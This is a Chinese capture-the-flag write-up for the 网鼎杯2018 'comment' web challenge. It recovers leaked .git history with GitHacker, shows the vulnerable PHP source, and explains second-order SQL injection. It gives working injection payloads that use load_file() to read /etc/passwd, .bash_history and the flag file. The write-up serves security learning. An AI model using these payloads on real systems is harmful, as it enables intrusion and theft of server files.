网鼎杯2018 comment
本次知识点
git恢复文件
如何判断是否可以恢复?
看是否有commit文件,如果没有,则需要恢复,像这题:
题目提示我们没有commit,即需要git恢复。
脚本及使用
我们利用王一航大佬的脚本进行恢复。
首先,安装好脚本,然后打开控制台,输入
python GitHacker.py http://ffd1ae28-f0e2-41c3-9522-ce58080f91e6.node3.buuoj.cn/.git/#链接为有git泄露的链接
然后进入新增的目录,输入
git log --relog
会出现它的更改历史
复制下箭头所指的commit,输入
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
然后再查看文件,即可看到完整代码如下:
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
二次注入
我们来看下面的代码:
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
和
$category = mysql_fetch_array($result)['category'];
可以看到,在do=write
的时候我们对categroy等变量进行了转义,每个引号、反斜杠等符号前都会加上一个反斜杠(数据库会自动清除反斜杠)。而在do=comment
的时候会直接从数据库中对categroy进行调用,没有任何过滤,这就导致了二次注入。
比如我POST$categroy=123‘//
,虽然它进行了转义,但数据库里的数据仍然是123"
,再到sql语句调用时,就会变成
$sql = "insert into comment
set category = '123’//',"
此时依然可以到达注入的目的。
SQL读取文件
用load_file()函数进行读取,值得注意的是读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
.bash_history
.bash_history为在unix/linux系统下保存历史命令的文件,在用户的根目录下,即~/
处。
.DS_Store文件泄露
文件泄露,有一个下载至本地的脚本,不过这题用不上。
开始做题
首先,拿到源码,由于我们的login!=yes,所以会自动跳转到登陆界面。
图中提示我们账号和密码,密码的最后三位可以**出来,为:666。
登陆进去之后,就可以开始构造categroy了。
值得注意的是,这里的sql语句为四行,而#
只能注释一行,所以要用/**/。
我们发帖在categroy处填入categroy=aaa',content=database(),/*
,剩下的随便填,然后进入帖子,提交评论*/#
。此时我们的语句变成了这样:
$sql = "insert into comment
set category = 'aaa',content=database(),/*',
content = '*/#',
bo_id = '$bo_id'";
结果为:
成功注入。
然后我们利用load_file()函数读取文件:payload:123',content=(select( load_file('/etc/passwd'))),/*
看到文件位置之后再读取.bash_histroy文件
看到在/temp/html有一个.DS_Store文件,hex编码读取文件并解码后:
可以看到html文件夹下所有文件的名字。
读取flag文件即可得到flag。
payload:aaa',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
参考文章:
https://www.cnblogs.com/Tkitn/p/11649255.html
上一篇: python的继承详解
下一篇: [网鼎杯 2018]Comment